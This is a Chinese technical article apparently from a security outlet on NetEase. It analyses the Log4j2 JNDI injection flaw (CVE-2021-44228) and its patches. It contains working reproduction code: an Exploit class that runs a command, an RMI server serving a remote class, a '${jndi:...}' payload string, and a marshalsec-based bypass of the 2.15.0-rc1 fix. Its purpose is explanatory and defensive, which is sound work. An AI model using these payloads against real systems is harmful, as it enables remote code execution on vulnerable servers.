网易首页 > 网易号 > 正文 申请入驻

Log4j2的JNDI注入漏洞(CVE-2021-44228)原理分析与思考

0
分享至

前言

最近Log4j2的JNDI注入漏洞(CVE-2021-44228)可以称之为“核弹”级别。Log4j2作为类似JDK级别的基础类库,几乎没人能够幸免。本篇文章即对该漏洞进行复现和分析其形成原理。

以下涉及的代码,均在mac OS 10.14.5,JDK1.8.0_91环境下成功运行。

一、 前置知识 1.1 Log4j2

Log4j2是一个Java日志组件,被各类Java框架广泛地使用。它的前身是Log4j,Log4j2重新构建和设计了框架,可以认为两者是完全独立的两个日志组件。本次漏洞影响范围为Log4j2最早期的版本2.0-beta9到2.15.0。

因为存在前身Log4j,而且都是Apache下的项目,不管是jar包名称还是package名称,看起来都很相似,导致有些人分不清自己用的是Log4j还是Log4j2。这里给出几个辨别方法:

  1. Log4j2分为2个jar包,一个是接口log4j-api-${版本号}.jar,一个是具体实现log4j-core-${版本号}.jar。Log4j只有一个jar包log4j-${版本号}.jar

  2. Log4j2的版本号目前均为2.x。Log4j的版本号均为1.x。

  3. Log4j2的package名称前缀为org.apache.logging.log4j。Log4j的package名称前缀为org.apache.log4j

1.2 Log4j2 Lookup

Log4j2的Lookup主要功能是通过引用一些变量,往日志中添加动态的值。这些变量可以是外部环境变量,也可以是MDC中的变量,还可以是日志上下文数据等。

下面是一个简单的Java Lookup例子和输出:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.ThreadContext;

public class Log4j2Lookup {
public static final Logger LOGGER = LogManager.getLogger(Log4j2RCEPoc.class);

public static void main(String[] args) {
ThreadContext.put("userId", "test");
LOGGER.error("userId: ${ctx:userId}");
}
}
10:21:19.618 [main] ERROR Log4j2RCEPoc - userId: test

从上面的例子可以看到,通过在日志字符串中加入"${ctx:userId}",Log4j2在输出日志时,会自动在Log4j2的ThreadContext中查找并引用userId变量。格式类似"${type:var}",即可以实现对变量var的引用。type可以是如下值:

  • ctx:允许程序将数据存储在 Log4jThreadContextMap 中,然后在日志输出过程中,查找其中的值。

  • env:允许系统在全局文件(如 /etc/profile)或应用程序的启动脚本中配置环境变量,然后在日志输出过程中,查找这些变量。例如:${env:USER}

  • java:允许查找Java环境配置信息。例如:${java:version}

  • jndi:允许通过 JNDI 检索变量。

其中和本次漏洞相关的便是jndi,例如:${jndi:rmi//127.0.0.1:1099/a},表示通过JNDI Lookup功能,获取rmi//127.0.0.1:1099/a上的变量内容。

1.3 JNDI

JNDI(Java Naming and Directory Interface,Java命名和目录接口),是Java提供的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象 。

例如使用数据库,需要在各个应用中配置各种数据库相关的参数后使用。通过JNDI,可以将数据库相关的配置在一个支持JNDI服务的容器(通常Tomat等Web容器均支持)中统一完成,并暴露一个简洁的名称,该名称背后绑定着一个DataSource对象。各个应用只需要通过该名称和JNDI接口,获取该名称背后的DataSource对象。当然,现在SpringBoot单体发布模式,极少会使用这种方式了。

再举个更简单的例子,这有点类似DNS提供域名到IP地址的解析服务。域名简洁易懂,便于普通用户使用,背后真正对应的是一个复杂难记的IP,甚至还可能是多个IP。DNS即JNDI服务,域名即可用于绑定和查找的名称,IP即该名称绑定的真正对象。用现代可以类比的技术来说,JNDI就是一个对象注册中心。

JNDI由三部分组成:JNDI API、Naming Manager、JNDI SPI。JNDI API是应用程序调用的接口,JNDI SPI是具体实现,应用程序需要指定具体实现的SPI。下图是官方对JNDI介绍的架构图:

下面是一个简单的例子:

public interface Hello extends java.rmi.Remote {
public String sayHello(String from) throws java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class HelloImpl extends UnicastRemoteObject implements Hello {
public HelloImpl() throws java.rmi.RemoteException {
super();
}

@Override
public String sayHello(String from) throws java.rmi.RemoteException {
System.out.println("Hello from " + from + "!!");
return "sayHello";
}
}
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;

public class HelloServer {
public static void main(String[] args) throws RemoteException, NamingException {
LocateRegistry.createRegistry(1099);
System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
System.setProperty(Context.PROVIDER_URL, "rmi://localhost:1099");
InitialContext context = new InitialContext();
context.bind("java:hello", new HelloImpl());
context.close();
}
}
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;

public class HelloClient {
public static void main(String[] args) throws NamingException, RemoteException {
System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
System.setProperty(Context.PROVIDER_URL, "rmi://localhost:1099");
InitialContext context = new InitialContext();
Hello rmiObject = (Hello) context.lookup("java:hello");
System.out.println(rmiObject.sayHello("world"));
context.close();
}
}

先运行HelloServer,再运行HelloClient,即可看到运行输出的结果:sayHello

HelloServerHelloImpl对象绑定到java:hello名称上。HelloClient使用java:hello名称,即可获取HelloImpl对象。

1.4 JNDI注入

由前面的例子可以看到,JNDI服务管理着一堆的名称和这些名称上绑定着的对象。如果这些对象不是本地的对象,会如何处理?JNDI还支持从指定的远程服务器上下载class文件,加载到本地JVM中,并通过适当的方式创建对象。

“class文件加载到本地JVM中,并通过适当的方式创建对象”,在这个过程中,static代码块以及创建对象过程中的某些特定回调方法即有机会被执行。JNDI注入正是基于这个思路实现的。

本篇文章主要分析Log4j2的JNDI注入产生原因,并不会对JNDI注入自身太过关注,网上也有大量分析的文章可供参考,这里就不再详述了。

二、 漏洞复现

以下复现使用Log4j2-2.14.1版本,maven的引用依赖参考如下:


org.apache.logging.log4jgroupId>
log4j-coreartifactId>
2.14.1version>
dependency>
org.apache.logging.log4jgroupId>
log4j-apiartifactId>
2.14.1version>
dependency>

  1. 编写漏洞利用代码Exploit并编译生成Exploit.class。代码如下:

public class Exploit {
static {
String cmd = "/Applications/Calculator.app/Contents/MacOS/Calculator";
final Process process;
try {
process = Runtime.getRuntime().exec(cmd);
process.waitFor();
} catch (Exception e) {
e.printStackTrace();

  1. 本地执行python3 -m http.server 8081,启动web服务器,监听在8081端口。将上一步编译生成的Exploit.class文件放到web服务的根目录(根目录即为执行python3 -m http.server 8081命令的工作目录)。

  1. 编写RMI服务端代码RMIServer,并编译运行。代码如下:

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
public static void main(String args[]) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference exploit = new Reference("Exploit", "Exploit", "http://127.0.0.1:8081/");
ReferenceWrapper exploitWrapper = new ReferenceWrapper(exploit);
registry.bind("exp", exploitWrapper);
}
}

  1. 编写漏洞poc代码,并编译运行。代码和运行结果如下:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4j2RCEPoc {
public static final Logger LOGGER = LogManager.getLogger(Log4j2RCEPoc.class);

public static void main(String[] args) {
LOGGER.error("${jndi:rmi://127.0.0.1:1099/exp}");
}
}

三、 漏洞原理

由于是JNDI注入,因此可以通过在InitialContext.lookup(String name)方法上设置端点,观察整个漏洞触发的调用堆栈,来了解原理。调用堆栈如下:

整个调用堆栈较深,这里把几个关键点提取整理如下:

LOGGER.error
MessagePatternConverter.format
StrSubstitutor.resolveVariable
Interpolator.lookup
JndiLookup.lookup
JndiManager.lookup
InitialContext.lookup
3.1 MessagePatternConverter.format()

poc代码中的LOGGER.error()方法最终会调用到MessagePatternConverter.format()方法,该方法对日志内容进行解析和格式化,并返回最终格式化后的日志内容。当碰到日志内容中包含${子串时,调用StrSubstitutor进行进一步解析。

3.2 StrSubstitutor.resolveVariable()

StrSubstitutor将${}之间的内容提取出来,调用并传递给Interpolator.lookup()方法,实现Lookup功能。

3.3 Interpolator.lookup()

Interpolator实际是一个实现Lookup功能的代理类,该类在成员变量strLookupMap中保存着各类Lookup功能的真正实现类。Interpolator对 上一步提取出的内容解析后,从strLookupMap获得Lookup功能实现类,并调用实现类的lookup()方法。

例如对poc例子中的jndi:rmi://127.0.0.1:1099/exp解析后得到jndi的Lookup功能实现类为JndiLookup,并调用JndiLookup.lookup()方法。

3.4 JndiLookup.lookup()

JndiLookup.lookup()方法调用JndiManager.lookup()方法,获取JNDI对象后,调用该对象上的toString()方法,最终返回该字符串。

3.5 JndiManager.lookup()

JndiManager.lookup()较为简单,直接委托给InitialContext.lookup()方法。这里单独提到该方法,是因为后续几个补丁中较为重要的变更即为该方法。

至此,后续即可以按照常规的JNDI注入路径进行分析。

四、 补丁分析 4.1 2.15.0-rc1

通过比较2.15.0-rc1和该版本之前最后一个版本2.14.1之间的差异,可以发现Log4j2团队在12月5日提交了一个名为Restrict LDAP access via JNDI (#608)的commit。该commit的详细内容如下链接:

https://github.com/apache/logging-log4j2/commit/c77b3cb39312b83b053d23a2158b99ac7de44dd3

除去一些测试代码和辅助代码,该commit最主要内容是在3.5章节中提到的JndiManager.lookup()方法增加了几种限制,分别是allowedHostsallowedClassesallowedProtocols

各个限制的内容分别如下:

可以看到,rc1补丁通过对JNDI Lookup增加白名单的方式,限制默认可以访问的主机为本地IP,限制默认支持的协议类型为javaldapldaps,限制LDAP协议默认可以使用的Java类型为少数基础类型,从而大大减少了默认的攻击面。

4.2 2.15.0-rc2 4.2.1 rc1中存在的问题

在rc1还未正式成为release版本之前,Log4j团队又在两天不到的时间里发布了rc2版本,说明rc1依然存在着一些问题。我们来看下rc1里主要修复的JndiManager.lookup()方法的整体逻辑结构:

public synchronized T lookup(final String name) throws NamingException {
try {
URI uri = new URI(name);
if (uri.getScheme() != null) {
if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {
return null;
if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {
if (!allowedHosts.contains(uri.getHost())) {
return null;

if (!allowedClasses.contains(className)) {
return null;


} catch (URISyntaxException ex) {
// This is OK.
return (T) this.context.lookup(name);

从上面的代码结构中可以总结如下的逻辑:

  • 对传入的name参数进行4.1章节提到的各类检查。如果检查不通过,则直接返回null

  • 如果产生URISyntaxException,则对该异常忽略,继续执行this.context.lookup(name)

  • 如果未产生URISyntaxException,则执行this.context.lookup(name)

我们重点关注catch代码块,rc1默认不对URISyntaxException异常做任何处理,继续执行后续逻辑,即this.context.lookup(name)

再看下try代码块中可能产生URISyntaxException的地方。很不幸,try代码块的第一个语句即可能产生该异常:URI uri = new URI(name);

试想一下,如果能够构造某个特殊的URI,导致URI uri = new URI(name);语句解析URI异常,抛出URISyntaxException,但又能被this.context.lookup(name)正确处理,不就可以绕过了吗?

4.2.2 绕过rc1

由于rc1未在maven中央仓库上,因此需要自行下载代码并构建:

到Log4j2的GitHub官方仓库下载rc1:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1。分别进入log4j-api和log4j-core目录,执行mvn clean install -DskipTests。最终会在本地maven仓库上生成rc1的jar包,版本为2.15.0,后续测试使用该jar包。

由于rc1默认未开启Lookup功能,需要先开启,可以通过在配置文件的%msg中添加{lookup}进行开启。在当前类路径下添加log4j2.xml,内容参考如下:


%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg{lookups}%npattern>
PatternLayout>
Console>
Appenders>
Root>
Loggers>
Configuration>

  1. 漏洞利用代码和二、漏洞利用章节中一致,编译生成Exploit.class。

  1. 本地执行python3 -m http.server 8081,启动web服务器,监听在8081端口。将上一步编译生成的Exploit.class文件放到web服务的根目录(根目录即为执行python3 -m http.server 8081命令的工作目录)。

  1. 由于rc1中默认仅支持javaldapldaps这三种协议,就使用LDAP协议吧。自己搭建LDAP服务器比较麻烦,这里直接利用下marshalsec这个库。运行java -cp ./marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8081/#Exploit 8888,启动LDAP服务。

  1. 编写漏洞poc代码,并编译运行。代码和运行结果如下:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4j2RC1Bypass {
public static final Logger LOGGER = LogManager.getLogger(Log4j2RC1Bypass.class);

public static void main(String[] args) {
LOGGER.error("${jndi:ldap://127.0.0.1:8888/ exp}");
}
}

可以看到,通过构建一个简单的带空格的异形URI地址(127.0.0.1:8888/exp之间),rc1被绕过了。

4.2.3 rc2的修复方案

通过比较2.15.0-rc1和2.15.0-rc2之间的差异,可以发现Log4j2团队在12月10日提交了一个名为Handle URI exception的commit。该commit的详细内容如下链接:

https://github.com/apache/logging-log4j2/commit/bac0d8a35c7e354a0d3f706569116dff6c6bd658

该commit主要内容是对rc1中JndiManager.lookup()方法里的catch代码块进行了修改:当URISyntaxException异常被捕获时,直接返回null。从而无法使用上一章节的异形URI地址绕过。

五、思考

本次漏洞就其原理来说,并不复杂,甚至有些简单。rc1中采用较为严格的白名单限制,就应急处理方法上来看,无可厚非。但从历史上发生的各类漏洞修补过程中来看,必定会有各种地方遗漏导致后续不停地打补丁。从软件开发角度讲,与其在上线后不停修复打补丁,不如在开发早期,即设计阶段或者开发阶段,尽量避免这类极有可能产生安全风险的设计。在最新版本的2.16.0,Log4j2团队干脆默认禁用掉了JNDI Lookup功能。

另外,rc1中catch代码对异常的处理方式,在日常开发过程中也是容易犯的问题。安全中有一个原则,叫做“Fail Safel

特别声明:以上内容(如有图片或视频亦包括在内)为自媒体平台“网易号”用户上传并发布,本平台仅提供信息存储服务。

Notice: The content above (including the pictures and videos if any) is uploaded and posted by a user of NetEase Hao, which is a social media platform and only provides information storage services.

相关推荐
热点推荐
这次银行碰上硬茬了!浙江男子用信用卡刷了5.8万,突发疾病去世

这次银行碰上硬茬了!浙江男子用信用卡刷了5.8万,突发疾病去世

功标青史
2024-06-18 16:46:21
姜萍作弊?你干脆说德国数学家高斯也是作弊得了!

姜萍作弊?你干脆说德国数学家高斯也是作弊得了!

杨逍
2024-06-18 11:59:40
不雅作品流出,百万粉丝马姐被实名举报,网友:丢河南人的脸

不雅作品流出,百万粉丝马姐被实名举报,网友:丢河南人的脸

三月柳
2024-06-17 12:05:28
养老金上涨3%,大部分人都计算错了!但背后指向却都是同一个问题

养老金上涨3%,大部分人都计算错了!但背后指向却都是同一个问题

大何向东流
2024-06-18 23:33:13
毛泽东个人简历!无人能比

毛泽东个人简历!无人能比

华人星光
2024-06-17 18:34:35
国安迎来大牌新归化!曾效力南美老牌豪门,本人已提前成功入籍

国安迎来大牌新归化!曾效力南美老牌豪门,本人已提前成功入籍

罗掌柜体育
2024-06-18 16:48:30
蒋介石母亲的墓被挖开,棺材悬空未落地,究竟有什么玄机?

蒋介石母亲的墓被挖开,棺材悬空未落地,究竟有什么玄机?

心灵短笛
2024-04-08 20:03:24
再强调一遍:以或直攻伊朗,瑞士峰会当天英法德发布伊朗核报告

再强调一遍:以或直攻伊朗,瑞士峰会当天英法德发布伊朗核报告

邵旭峰域
2024-06-18 12:24:04
内线双塔强换周琦?CBA最大黑马有望交易广东,筹码杜锋无法拒绝

内线双塔强换周琦?CBA最大黑马有望交易广东,筹码杜锋无法拒绝

绯雨儿
2024-06-18 13:09:24
上海300个小区都发现了!突然窜出、尖叫,不仅不怕人,还主动攻击狗,紧急提醒

上海300个小区都发现了!突然窜出、尖叫,不仅不怕人,还主动攻击狗,紧急提醒

上观新闻
2024-06-18 21:36:20
林粟用兵对比:粟裕动辄全灭敌一个军,东北为何非常少见(一)

林粟用兵对比:粟裕动辄全灭敌一个军,东北为何非常少见(一)

有历史
2024-06-18 06:48:24
瑞典将军质疑中国大使:你带过多少兵?结果比他们国家军队还多

瑞典将军质疑中国大使:你带过多少兵?结果比他们国家军队还多

百年历史老号
2024-06-18 20:25:42
涟水“天才少女”带火一座城,暑假临近地方文旅纷纷坐不住了?

涟水“天才少女”带火一座城,暑假临近地方文旅纷纷坐不住了?

上游新闻
2024-06-16 19:58:11
交易结束了!恭喜湖人变现成功!拉塞尔再不当替罪羊,珍妮开心了

交易结束了!恭喜湖人变现成功!拉塞尔再不当替罪羊,珍妮开心了

刺头体育
2024-06-18 17:09:59
粪坑藏百万现金,选妃146位,母女通吃,酒桌上比较母女“功夫”

粪坑藏百万现金,选妃146位,母女通吃,酒桌上比较母女“功夫”

古今档案
2023-09-18 14:52:10
网传虾皮 Shopee 研发中心员工猝死,内网声明曝光

网传虾皮 Shopee 研发中心员工猝死,内网声明曝光

IT之家
2024-06-18 11:30:19
惊艳世界波!居勒尔庆祝进球,贝林等皇马队友送上祝贺

惊艳世界波!居勒尔庆祝进球,贝林等皇马队友送上祝贺

直播吧
2024-06-19 04:24:28
央妈锐评“数学天才”姜萍,句句猛戳有些人肺管,某些人沉默了

央妈锐评“数学天才”姜萍,句句猛戳有些人肺管,某些人沉默了

朗威谈星座
2024-06-18 23:25:26
男子持刀砍妻17刀进展:妻子抢救7天终清醒,曝被砍原因惹人心酸

男子持刀砍妻17刀进展:妻子抢救7天终清醒,曝被砍原因惹人心酸

林大师热点
2024-06-18 16:18:37
直击河北邯郸抗旱一线:部分玉米地现1厘米宽裂缝,村民凌晨3点抽井水浇地

直击河北邯郸抗旱一线:部分玉米地现1厘米宽裂缝,村民凌晨3点抽井水浇地

极目新闻
2024-06-17 22:42:35
2024-06-19 06:58:44
安在
安在
信息安全新媒体
1604文章数 2379关注度
往期回顾 全部

科技要闻

第一批小米车主,已经开始卖车了

头条要闻

欧洲杯-葡萄牙2-1逆转捷克 C罗失单刀小孔塞桑绝杀

头条要闻

欧洲杯-葡萄牙2-1逆转捷克 C罗失单刀小孔塞桑绝杀

体育要闻

对于凯尔特人来说 谁是MVP根本不重要

娱乐要闻

被曝新恋情,张碧晨王琳凯发声辟谣

财经要闻

官方:税务部门没有倒查30年的安排

汽车要闻

全球最低价 现代IONIQ 5N预售价39.88万

态度原创

家居
旅游
本地
公开课
军事航空

家居要闻

在用什么吃饭这件事上,中国人仪式感拉满了

旅游要闻

直航加免签,利好中国—古巴旅游往来

本地新闻

我和我的家乡|在鞍山的每一步都有新发现

公开课

近视只是视力差?小心并发症

军事要闻

"局部战术暂停"后 以军袭击加沙地带多地

无障碍浏览 进入关怀版